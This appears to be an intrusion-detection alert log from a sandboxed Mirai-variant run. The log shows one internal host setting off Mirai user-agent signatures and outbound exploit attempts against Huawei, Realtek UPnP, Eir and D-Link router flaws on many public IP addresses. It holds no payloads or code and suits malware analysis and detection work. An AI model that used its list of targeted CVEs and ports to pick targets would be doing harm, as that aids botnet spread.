192.168.2.2388.221.59.6250114802027121 10/23/22-17:57:12.951910	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50114	80	192.168.2.23	88.221.59.62
192.168.2.2395.67.46.21049302802027121 10/23/22-17:57:13.027539	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49302	80	192.168.2.23	95.67.46.210
192.168.2.2385.236.156.1158694802846457 10/23/22-17:58:37.501669	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58694	80	192.168.2.23	85.236.156.11
192.168.2.23190.192.207.545865275472023548 10/23/22-17:57:55.482280	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58652	7547	192.168.2.23	190.192.207.54
192.168.2.2346.165.254.19641084802846457 10/23/22-17:57:41.256604	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41084	80	192.168.2.23	46.165.254.196
192.168.2.23164.138.115.15240582528692027339 10/23/22-17:57:22.431427	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40582	52869	192.168.2.23	164.138.115.152
192.168.2.23112.78.9.15551454802027121 10/23/22-17:58:02.812625	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51454	80	192.168.2.23	112.78.9.155
192.168.2.2384.247.28.22844288802846457 10/23/22-17:57:12.961320	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44288	80	192.168.2.23	84.247.28.228
192.168.2.23156.235.100.2034574372152835222 10/23/22-17:58:25.491294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34574	37215	192.168.2.23	156.235.100.20
192.168.2.2370.62.230.25443020802841623 10/23/22-17:57:38.477263	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43020	80	192.168.2.23	70.62.230.254
192.168.2.23178.91.57.13353534802846380 10/23/22-17:57:49.444577	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53534	80	192.168.2.23	178.91.57.133
192.168.2.232.20.128.24645532802846457 10/23/22-17:57:28.759047	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45532	80	192.168.2.23	2.20.128.246
192.168.2.23188.190.16.11438428802846457 10/23/22-17:58:17.705299	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38428	80	192.168.2.23	188.190.16.114
192.168.2.2388.151.74.557974802027121 10/23/22-17:58:32.661088	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57974	80	192.168.2.23	88.151.74.5
192.168.2.235.135.201.18656190802846457 10/23/22-17:57:46.216250	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56190	80	192.168.2.23	5.135.201.186
192.168.2.2388.208.2.4834616802027121 10/23/22-17:57:06.711974	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34616	80	192.168.2.23	88.208.2.48
192.168.2.23213.188.122.11736648802846380 10/23/22-17:56:42.722999	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36648	80	192.168.2.23	213.188.122.117
192.168.2.23196.19.249.16953812802835222 10/23/22-17:58:16.933581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53812	80	192.168.2.23	196.19.249.169
192.168.2.2388.86.82.4552262802027121 10/23/22-17:58:07.304334	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52262	80	192.168.2.23	88.86.82.45
192.168.2.23213.238.168.11450466802846380 10/23/22-17:58:00.630977	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50466	80	192.168.2.23	213.238.168.114
192.168.2.23188.166.117.18433878802846457 10/23/22-17:58:17.659416	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33878	80	192.168.2.23	188.166.117.184
192.168.2.2323.35.133.10237012802841623 10/23/22-17:56:56.766335	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37012	80	192.168.2.23	23.35.133.102
192.168.2.2395.100.202.20056096802027121 10/23/22-17:57:28.450964	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56096	80	192.168.2.23	95.100.202.200
192.168.2.23200.61.47.20333656802846380 10/23/22-17:57:30.241373	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33656	80	192.168.2.23	200.61.47.203
192.168.2.23104.31.16.2645474802841623 10/23/22-17:57:50.366666	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45474	80	192.168.2.23	104.31.16.26
192.168.2.2380.151.32.8549864802846457 10/23/22-17:56:48.706143	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49864	80	192.168.2.23	80.151.32.85
192.168.2.23188.166.123.1049164802846457 10/23/22-17:58:07.917483	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49164	80	192.168.2.23	188.166.123.10
192.168.2.23104.73.253.357436802841623 10/23/22-17:57:50.871792	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57436	80	192.168.2.23	104.73.253.3
192.168.2.2384.42.150.24234768802846457 10/23/22-17:57:56.402207	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34768	80	192.168.2.23	84.42.150.242
192.168.2.2337.143.8.6560930802846457 10/23/22-17:57:31.334102	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60930	80	192.168.2.23	37.143.8.65
192.168.2.2384.201.156.23847968802846457 10/23/22-17:57:56.420539	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47968	80	192.168.2.23	84.201.156.238
192.168.2.23188.54.50.9157074802846457 10/23/22-17:58:08.054624	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57074	80	192.168.2.23	188.54.50.91
192.168.2.2395.102.123.4041636802027121 10/23/22-17:57:16.166579	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41636	80	192.168.2.23	95.102.123.40
192.168.2.23122.226.189.7956548528692027339 10/23/22-17:58:20.278104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56548	52869	192.168.2.23	122.226.189.79
192.168.2.23213.176.29.460688802846380 10/23/22-17:56:39.254984	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60688	80	192.168.2.23	213.176.29.4
192.168.2.23178.19.152.2144438802846380 10/23/22-17:56:49.729037	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44438	80	192.168.2.23	178.19.152.21
192.168.2.23200.88.17.6541946802846380 10/23/22-17:58:22.587044	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41946	80	192.168.2.23	200.88.17.65
192.168.2.23206.2.211.22535232802846380 10/23/22-17:57:38.245828	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35232	80	192.168.2.23	206.2.211.225
192.168.2.2346.158.35.1104346875472023548 10/23/22-17:58:35.885954	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43468	7547	192.168.2.23	46.158.35.110
192.168.2.2351.158.116.10236820802841623 10/23/22-17:57:46.500681	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36820	80	192.168.2.23	51.158.116.102
192.168.2.2395.54.46.25157992802027121 10/23/22-17:58:39.781212	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57992	80	192.168.2.23	95.54.46.251
192.168.2.2395.100.117.19057736802027121 10/23/22-17:58:36.363743	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57736	80	192.168.2.23	95.100.117.190
192.168.2.2395.101.47.1133798802027121 10/23/22-17:57:52.080681	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33798	80	192.168.2.23	95.101.47.11
192.168.2.2382.45.209.20759048802846380 10/23/22-17:58:06.234668	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59048	80	192.168.2.23	82.45.209.207
192.168.2.23181.161.93.350864802846380 10/23/22-17:57:49.051294	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50864	80	192.168.2.23	181.161.93.3
192.168.2.2395.213.237.2453750802027121 10/23/22-17:57:23.629839	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53750	80	192.168.2.23	95.213.237.24
192.168.2.2354.217.124.4532912802841623 10/23/22-17:58:21.159984	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	32912	80	192.168.2.23	54.217.124.45
192.168.2.2395.100.67.21751706802027121 10/23/22-17:58:30.344491	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51706	80	192.168.2.23	95.100.67.217
192.168.2.23200.7.43.13444516802846380 10/23/22-17:57:43.654408	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44516	80	192.168.2.23	200.7.43.134
192.168.2.23130.61.83.10437496802841623 10/23/22-17:57:50.384084	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37496	80	192.168.2.23	130.61.83.104
192.168.2.2378.47.26.11738060802846457 10/23/22-17:57:46.265474	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38060	80	192.168.2.23	78.47.26.117
192.168.2.23188.25.13.18053442802846457 10/23/22-17:57:00.255801	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53442	80	192.168.2.23	188.25.13.180
192.168.2.2395.217.234.17857844802027121 10/23/22-17:57:40.691991	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57844	80	192.168.2.23	95.217.234.178
192.168.2.23169.61.86.9237662802846380 10/23/22-17:58:30.957152	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37662	80	192.168.2.23	169.61.86.92
192.168.2.2388.212.60.3251026802027121 10/23/22-17:57:31.198621	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51026	80	192.168.2.23	88.212.60.32
192.168.2.2380.47.207.15747252802846380 10/23/22-17:57:51.852323	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47252	80	192.168.2.23	80.47.207.157
192.168.2.23156.254.33.11235616372152835222 10/23/22-17:58:32.625173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35616	37215	192.168.2.23	156.254.33.112
192.168.2.2395.101.191.752610802027121 10/23/22-17:57:25.813902	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52610	80	192.168.2.23	95.101.191.7
192.168.2.23206.189.140.1350494802846380 10/23/22-17:56:59.862386	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50494	80	192.168.2.23	206.189.140.13
192.168.2.23112.169.253.21045966802027121 10/23/22-17:57:31.157232	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45966	80	192.168.2.23	112.169.253.210
192.168.2.2380.211.234.10458442802846380 10/23/22-17:57:51.859098	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58442	80	192.168.2.23	80.211.234.104
192.168.2.23200.53.43.12942708802846380 10/23/22-17:57:57.993551	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42708	80	192.168.2.23	200.53.43.129
192.168.2.235.172.190.4245672802846457 10/23/22-17:57:35.635252	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45672	80	192.168.2.23	5.172.190.42
192.168.2.2388.20.177.9946006802027121 10/23/22-17:57:52.341639	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46006	80	192.168.2.23	88.20.177.99
192.168.2.235.161.86.359276802846457 10/23/22-17:57:35.772864	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59276	80	192.168.2.23	5.161.86.3
192.168.2.23110.47.103.12055096802846457 10/23/22-17:57:43.839397	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55096	80	192.168.2.23	110.47.103.120
192.168.2.232.18.102.13338190802846457 10/23/22-17:57:50.334993	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38190	80	192.168.2.23	2.18.102.133
192.168.2.2388.216.96.21756718802027121 10/23/22-17:58:19.650206	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56718	80	192.168.2.23	88.216.96.217
192.168.2.23195.164.254.22945368528692027339 10/23/22-17:58:30.472740	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45368	52869	192.168.2.23	195.164.254.229
192.168.2.23195.20.46.13146474802846457 10/23/22-17:58:21.665596	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46474	80	192.168.2.23	195.20.46.131
192.168.2.2395.86.69.17139182802027121 10/23/22-17:57:54.677535	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39182	80	192.168.2.23	95.86.69.171
192.168.2.23122.155.165.12139624802846457 10/23/22-17:57:26.313775	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39624	80	192.168.2.23	122.155.165.121
192.168.2.2382.167.137.18938136802846380 10/23/22-17:57:48.493673	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38136	80	192.168.2.23	82.167.137.189
192.168.2.2385.114.139.23358202802846457 10/23/22-17:58:26.388315	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58202	80	192.168.2.23	85.114.139.233
192.168.2.2388.221.165.11249852802027121 10/23/22-17:58:36.299989	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49852	80	192.168.2.23	88.221.165.112
192.168.2.2382.163.177.21559226802846380 10/23/22-17:58:06.170271	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59226	80	192.168.2.23	82.163.177.215
192.168.2.2380.14.206.22454522802846457 10/23/22-17:57:09.752560	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54522	80	192.168.2.23	80.14.206.224
192.168.2.23181.127.57.13545708802846380 10/23/22-17:58:01.205229	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45708	80	192.168.2.23	181.127.57.135
192.168.2.2383.196.32.2848108802846380 10/23/22-17:58:25.093178	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48108	80	192.168.2.23	83.196.32.28
192.168.2.2378.186.147.22852716802846457 10/23/22-17:57:46.335397	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52716	80	192.168.2.23	78.186.147.228
192.168.2.2346.246.3.18356212802846457 10/23/22-17:57:41.270857	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56212	80	192.168.2.23	46.246.3.183
192.168.2.2387.241.135.851746802841623 10/23/22-17:57:01.193468	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51746	80	192.168.2.23	87.241.135.8
192.168.2.23185.10.158.2156654802835221 10/23/22-17:56:51.489662	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	56654	80	192.168.2.23	185.10.158.21
192.168.2.23178.73.244.3137048802846380 10/23/22-17:56:55.338953	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37048	80	192.168.2.23	178.73.244.31
192.168.2.23186.78.174.7339924802841623 10/23/22-17:58:29.701765	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39924	80	192.168.2.23	186.78.174.73
192.168.2.2384.95.201.15037332802846457 10/23/22-17:58:33.030575	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37332	80	192.168.2.23	84.95.201.150
192.168.2.23188.166.65.12949916802846457 10/23/22-17:58:07.918432	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49916	80	192.168.2.23	188.166.65.129
192.168.2.2337.187.128.10643334802846457 10/23/22-17:57:31.303881	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43334	80	192.168.2.23	37.187.128.106
192.168.2.23200.88.229.24157376802846380 10/23/22-17:58:16.958982	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57376	80	192.168.2.23	200.88.229.241
192.168.2.2395.100.226.18053890802027121 10/23/22-17:57:57.707113	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53890	80	192.168.2.23	95.100.226.180
192.168.2.2384.228.228.16142622802846457 10/23/22-17:57:18.503458	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42622	80	192.168.2.23	84.228.228.161
192.168.2.23164.85.76.25540500802846457 10/23/22-17:57:55.922977	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40500	80	192.168.2.23	164.85.76.255
192.168.2.23213.232.8.23949162802846380 10/23/22-17:56:39.207770	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49162	80	192.168.2.23	213.232.8.239
192.168.2.2395.153.224.2834292802027121 10/23/22-17:58:07.443694	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34292	80	192.168.2.23	95.153.224.28
192.168.2.2344.241.137.22341180802841623 10/23/22-17:57:35.559879	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41180	80	192.168.2.23	44.241.137.223
192.168.2.23142.252.140.22739146802841623 10/23/22-17:57:12.578454	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39146	80	192.168.2.23	142.252.140.227
192.168.2.2395.213.158.10644822802027121 10/23/22-17:57:28.484723	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44822	80	192.168.2.23	95.213.158.106
192.168.2.23213.235.229.2936324802846380 10/23/22-17:56:39.153991	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36324	80	192.168.2.23	213.235.229.29
192.168.2.2384.10.34.6633618802846457 10/23/22-17:57:46.289400	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33618	80	192.168.2.23	84.10.34.66
192.168.2.2388.209.202.25049224802027121 10/23/22-17:57:31.417504	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49224	80	192.168.2.23	88.209.202.250
192.168.2.23176.235.113.11547138802841623 10/23/22-17:58:11.353459	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47138	80	192.168.2.23	176.235.113.115
192.168.2.2385.23.25.17359214802846457 10/23/22-17:57:58.561599	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59214	80	192.168.2.23	85.23.25.173
192.168.2.23200.71.190.2643940802846380 10/23/22-17:57:13.975978	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43940	80	192.168.2.23	200.71.190.26
192.168.2.2386.199.104.13443130802846380 10/23/22-17:58:35.754031	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43130	80	192.168.2.23	86.199.104.134
192.168.2.2395.173.11.14842778802027121 10/23/22-17:58:12.779990	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42778	80	192.168.2.23	95.173.11.148
192.168.2.2380.94.55.2045878802846380 10/23/22-17:58:29.784461	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45878	80	192.168.2.23	80.94.55.20
192.168.2.23156.213.12.10237264802841623 10/23/22-17:58:14.113045	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37264	80	192.168.2.23	156.213.12.102
192.168.2.2386.138.172.845622802846380 10/23/22-17:57:07.231449	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45622	80	192.168.2.23	86.138.172.8
192.168.2.2386.129.74.6348334802846380 10/23/22-17:57:01.329005	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48334	80	192.168.2.23	86.129.74.63
192.168.2.2388.70.28.21247484802027121 10/23/22-17:56:58.725651	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	47484	80	192.168.2.23	88.70.28.212
192.168.2.23112.124.157.6442232802027121 10/23/22-17:57:07.684407	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42232	80	192.168.2.23	112.124.157.64
192.168.2.235.74.216.8344712802846457 10/23/22-17:57:53.450782	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44712	80	192.168.2.23	5.74.216.83
192.168.2.2374.97.189.4743448802835222 10/23/22-17:58:16.624285	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43448	80	192.168.2.23	74.97.189.47
192.168.2.2384.15.46.1443130802846457 10/23/22-17:56:43.315056	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43130	80	192.168.2.23	84.15.46.14
192.168.2.2388.97.144.8934164802027121 10/23/22-17:57:02.482831	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34164	80	192.168.2.23	88.97.144.89
192.168.2.23164.155.153.4332818528692027339 10/23/22-17:57:55.998248	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32818	52869	192.168.2.23	164.155.153.43
192.168.2.2388.87.12.12556206802027121 10/23/22-17:57:02.495037	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56206	80	192.168.2.23	88.87.12.125
192.168.2.23122.135.83.3034560802846457 10/23/22-17:57:26.414141	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34560	80	192.168.2.23	122.135.83.30
192.168.2.23178.183.92.24255824802846380 10/23/22-17:57:09.503462	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55824	80	192.168.2.23	178.183.92.242
192.168.2.23213.119.109.18947874802846380 10/23/22-17:57:03.553442	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47874	80	192.168.2.23	213.119.109.189
192.168.2.235.254.71.21750546802846457 10/23/22-17:57:09.694375	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50546	80	192.168.2.23	5.254.71.217
192.168.2.23195.201.125.4337294802846457 10/23/22-17:56:43.200594	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37294	80	192.168.2.23	195.201.125.43
192.168.2.23156.244.197.338410802841623 10/23/22-17:58:21.114648	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38410	80	192.168.2.23	156.244.197.3
192.168.2.23195.201.236.5746022802846457 10/23/22-17:57:59.908703	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46022	80	192.168.2.23	195.201.236.57
192.168.2.23112.74.216.14660594802027121 10/23/22-17:56:41.486203	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60594	80	192.168.2.23	112.74.216.146
192.168.2.2395.214.181.1350726802027121 10/23/22-17:57:49.347734	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50726	80	192.168.2.23	95.214.181.13
192.168.2.23197.242.150.8545212802841623 10/23/22-17:57:12.916299	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45212	80	192.168.2.23	197.242.150.85
192.168.2.23112.74.189.17540278802027121 10/23/22-17:56:46.365079	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40278	80	192.168.2.23	112.74.189.175
192.168.2.23181.52.121.1443112802846380 10/23/22-17:57:03.630757	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43112	80	192.168.2.23	181.52.121.14
192.168.2.2395.216.157.18141296802027121 10/23/22-17:57:45.098634	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41296	80	192.168.2.23	95.216.157.181
192.168.2.23213.211.102.10938970802846380 10/23/22-17:57:37.960194	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38970	80	192.168.2.23	213.211.102.109
192.168.2.23112.126.72.3349028802027121 10/23/22-17:58:27.406524	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49028	80	192.168.2.23	112.126.72.33
192.168.2.23213.32.71.16941058802846380 10/23/22-17:58:33.195867	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41058	80	192.168.2.23	213.32.71.169
192.168.2.2337.26.124.21336646802846457 10/23/22-17:57:28.829529	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36646	80	192.168.2.23	37.26.124.213
192.168.2.23169.50.35.10149620802846380 10/23/22-17:57:51.801270	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49620	80	192.168.2.23	169.50.35.101
192.168.2.2385.215.98.14537062802846457 10/23/22-17:58:17.685151	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37062	80	192.168.2.23	85.215.98.145
192.168.2.2389.252.186.13651966802846457 10/23/22-17:58:32.895297	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51966	80	192.168.2.23	89.252.186.136
192.168.2.2372.32.131.2447166802835221 10/23/22-17:57:11.261983	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	47166	80	192.168.2.23	72.32.131.24
192.168.2.2395.129.56.21134566802027121 10/23/22-17:56:48.866949	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34566	80	192.168.2.23	95.129.56.211
192.168.2.2378.47.162.14935934802846457 10/23/22-17:58:28.628955	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35934	80	192.168.2.23	78.47.162.149
192.168.2.2380.158.44.20243626802846380 10/23/22-17:58:29.776670	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43626	80	192.168.2.23	80.158.44.202
192.168.2.2346.150.200.3543292802846457 10/23/22-17:58:15.388171	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43292	80	192.168.2.23	46.150.200.35
192.168.2.2395.216.139.18558198802027121 10/23/22-17:57:31.276613	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58198	80	192.168.2.23	95.216.139.185
192.168.2.23178.239.171.17342144802846380 10/23/22-17:57:27.966144	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42144	80	192.168.2.23	178.239.171.173
192.168.2.2395.211.106.4541256802027121 10/23/22-17:57:18.686379	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41256	80	192.168.2.23	95.211.106.45
192.168.2.2395.87.64.9744086802027121 10/23/22-17:57:40.846678	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44086	80	192.168.2.23	95.87.64.97
192.168.2.2388.221.24.6535450802027121 10/23/22-17:58:10.574728	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35450	80	192.168.2.23	88.221.24.65
192.168.2.2380.247.76.23345032802846380 10/23/22-17:57:43.270523	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45032	80	192.168.2.23	80.247.76.233
192.168.2.23178.90.69.25534610802846380 10/23/22-17:57:55.499865	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34610	80	192.168.2.23	178.90.69.255
192.168.2.235.76.255.10347538802846457 10/23/22-17:57:53.428860	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47538	80	192.168.2.23	5.76.255.103
192.168.2.23197.90.66.2074959875472835222 10/23/22-17:58:16.541329	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49598	7547	192.168.2.23	197.90.66.207
192.168.2.2384.7.151.1646196528692027339 10/23/22-17:57:20.233975	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46196	52869	192.168.2.23	84.7.151.16
192.168.2.23112.124.21.5545122802027121 10/23/22-17:57:31.198551	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45122	80	192.168.2.23	112.124.21.55
